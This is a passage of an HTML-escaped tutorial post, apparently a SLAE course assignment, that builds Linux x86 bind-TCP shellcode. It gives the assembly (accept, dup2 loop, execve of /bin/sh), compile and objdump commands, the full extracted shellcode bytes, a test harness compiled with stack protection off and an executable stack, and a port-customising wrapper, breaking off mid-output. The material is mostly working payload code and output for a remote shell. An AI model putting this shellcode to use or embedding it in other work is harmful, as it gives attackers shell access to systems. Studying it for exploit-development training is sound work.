       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;102&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; __NR_socketcall&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; SYS_ACCEPT&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; pointer to args&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; returns clientfd file descriptor in eax&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; int dup2(int oldfd, int newfd); duplicates a file descriptor&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; dup2(clientfd, 0); &lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; dup2(clientfd, 1);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; dup2(clientfd, 2);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define __NR_dup2 63&lt;/span&gt;

       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; clientfd as first argument&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; 2 for stderr / 1 for stdout / 0 for stdin&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;dup2:&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;63&lt;/span&gt;           &lt;span class=&quot;c1&quot;&gt;; __NR_dup2&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;dec&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;jns&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;dup2&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; jump short if not signed &lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; execve(&quot;/bin/sh&quot;, NULL, NULL);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define __NR_execve 11&lt;/span&gt;

       &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x68732f2f&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; hs// - take care to the little endian representation&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6e69622f&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; nib/&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; pointer to command string&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;           &lt;span class=&quot;c1&quot;&gt;; __NR_execve&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s compile with the &lt;a href=&quot;https://github.com/phackt/slae/blob/master/assignment1/compile.sh&quot;&gt;compile.sh&lt;/a&gt; script:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./compile.sh shell_bind_tcp
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Assembling with Nasm ... 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Linking ...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Done!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s run shell_bind_tcp and try to connect from another shell:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/slae/assignment1/image4.png&quot; alt=&quot;image4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;What we have to take care in shellcodes are bad characters. Each compromised application will lead to its own set of bad characters that we will need to avoid in the shellcode part of the exploit.  &lt;br /&gt;
Right now let’s check that our shellcode do not contain null bytes:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;objdump &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; shell_bind_tcp &lt;span class=&quot;nt&quot;&gt;-M&lt;/span&gt; intel | &lt;span class=&quot;nb&quot;&gt;grep &lt;/span&gt;00
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Great, no null bytes. Let’s dump our shellcode:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;objdump &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; ./shell_bind_tcp|grep &lt;span class=&quot;s1&quot;&gt;&apos;[0-9a-f]:&apos;&lt;/span&gt;|grep &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;file&apos;&lt;/span&gt;|cut &lt;span class=&quot;nt&quot;&gt;-f2&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;:|cut &lt;span class=&quot;nt&quot;&gt;-f1-6&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos; &apos;&lt;/span&gt;|tr &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos; &apos;&lt;/span&gt;|tr &lt;span class=&quot;s1&quot;&gt;&apos;\t&apos;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos; &apos;&lt;/span&gt;|sed &lt;span class=&quot;s1&quot;&gt;&apos;s/ $//g&apos;&lt;/span&gt;|sed &lt;span class=&quot;s1&quot;&gt;&apos;s/ /\\x/g&apos;&lt;/span&gt;|paste &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; |sed &lt;span class=&quot;s1&quot;&gt;&apos;s/^/&quot;/&apos;&lt;/span&gt;|sed &lt;span class=&quot;s1&quot;&gt;&apos;s/$/&quot;/g&apos;&lt;/span&gt;
&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;1f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;90&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;53&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;57&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;57&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;57&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;05&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;3f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;79&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;73&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;62&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;69&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6e&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c2&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0b&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s execute it in &lt;a href=&quot;https://github.com/phackt/slae/blob/master/assignment1/shellcode.c&quot;&gt;shellcode.c&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gcc &lt;span class=&quot;nt&quot;&gt;-fno-stack-protector&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-z&lt;/span&gt; execstack &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; shellcode shellcode.c &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./shellcode
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then from another shell:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/slae/assignment1/image5.png&quot; alt=&quot;image5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;One easy way to customize the listening port is to set a pattern in the source file and to generate the shellcode thanks to a wrapper script.&lt;br /&gt;
We are creating a shell_bind_tcp.template and updating the following part:&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;push word 0x901f&lt;/code&gt; becomes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;push word PORT&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now we will use the &lt;a href=&quot;https://github.com/phackt/slae/blob/master/assignment1/wrapper.sh&quot;&gt;wrapper.sh&lt;/a&gt; script:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./wrapper.sh
Usage: ./wrapper.sh &amp;lt;port_number&amp;gt; &amp;lt;pattern&amp;gt; &amp;lt;file&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./wrapper.sh 8080 PORT ./shell_bind_tcp.template 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Assembling with Nasm ... 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Linking ...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Done!
&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span 